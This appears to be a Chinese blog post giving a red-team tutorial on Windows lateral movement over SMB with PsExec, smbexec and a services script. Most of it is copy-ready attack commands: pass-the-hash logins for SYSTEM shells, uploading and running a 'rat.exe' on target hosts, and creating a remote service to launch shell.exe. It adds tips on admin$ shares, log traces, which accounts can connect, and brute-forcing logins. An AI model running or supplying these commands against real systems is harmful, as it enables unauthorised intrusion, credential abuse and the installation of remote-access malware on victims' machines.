横向渗透之 [SMB]
? Lateral-Movement ? ? Windows ? ? Pth ?    950    0    0

        利用SMB服务需要先建立IPC,可以通过hash传递来远程执行,默认回来System权限,需要目标防火墙开启445并允许通过。

 

一、Psexec使用

        利用Psexec需要目标开启admin$,并且会在目标创建服务(PSEXESVC )来执行,会在目标日志中留下大量合计,并且在实际利用中容易被各种杀软拦截,可以通过先建立IPC链接后使用或者直接提供用户凭证进行利用,利用过程如下:

        1. 通过明文密码的方式获得目标主机的半交互式shell:

 psexec \\192.168.1.2 cmd # 需要先有ipc链接
 psexec \\192.168.1.2 -u administrator -p password cmd # 直接提供明文账户密码,可以不用建立IPC
 psexec \\192.168.1.2 -u administrator -p password -s cmd # -s 指定以System权限运行

        2. 通过hash传递的方式获得远程主机的半交互式shell:

psexec -hashes :$HASH$ ./administrator@10.1.2.3
psexec -hashes :$HASH$ domain/administrator@10.1.2.3

        3. 上传exe到目标执行:

psexec \\192.168.1.2 -u administrator -p password -c C:\Windows\Temp\rat.exe
psexec -hashes :$HASH$ ./administrator@10.1.2.3 -c C:\Windows\Temp\rat.exe
psexec -hashes :$HASH$ domain/administrator@10.1.2.3 -c C:\Windows\Temp\rat.exe

 

二、使用总结

        1. Psexec 需要目标开启 admin$ 共享

        2. Psexec 连接目标时会创建PSEXESVC 服务,退出时删除PSEXESVC 服务,会在目标日志系统留下大量痕迹

        3. 通过Psexec获得交互式shell时,正常使用exit退出会删除目标机器上的PSEXESVC 服务,直接点 X 关闭可能导致目标服务无法删除。如果使用交互式shell执行阻塞的进程可能导出服务不能正常退出。

        4. Psexec 该工具支持socks代理

 

三、SMBexec使用

        基本上跟Psexec的功能相同,用法大致如下:

smbbexec ./admin:password@10.1.2.3
smbbexec domain/admin:password@10.1.2.3
smbbexec -hashes :$HASH$ ./admin:password@10.1.2.3
smbbexec -hashes :$HASH$ domain/admin:password@10.1.2.3

同样该工具也支持socks代理。

 

四、Service 使用

        此脚本可用于通过[MS-SCMR] MSRPC接口操作Windows服务。它支持启动,停止,删除,状态,配置,列表,创建和更改。利用受害者主机默认开放的SMB服务端口445,发送特殊RPC请求,通过MSRPC接口调用serve服务函数。

services.exe -hashes :DBEF208C6485267C20DB2CAD21734FE6 ./administrator:@192.168.3.11 create -name shell -display shellexec -path C:\Windows\System32\shell.exe
services.exe -hashes :DBEF208C6485267C20DB2CAD21734FE6 ./administrator:@192.168.3.11 start -name shell
services.exe -hashes :DBEF208C6485267C20DB2CAD21734FE6 ./administrator:@192.168.3.11 status -name shell
services.exe -hashes :DBEF208C6485267C20DB2CAD21734FE6 ./administrator:@192.168.3.11 delete -name shell

 

五、总结说明

        通过SMB服务横向需要注意目标的系统,可以通过smb_version 或者 NetBIOS 协议进行判断。当目标系统为2008以上的系统时,默认不允许rid不是500的用户远程连接,也就是说只能允许Administrator账号连接。当2008以下系统时,只要是管理员组的账号即可。当前如果在域内,域管理员账号也可以。

        可以通过smb_login模块爆破或者确定用户是否存在,同时该模块也会提示用户是否是管理员组的。

觉得不错,点个赞?
Sign in to leave a comment.
No Leanote account ? Sign up now.
0 条评论
文章目录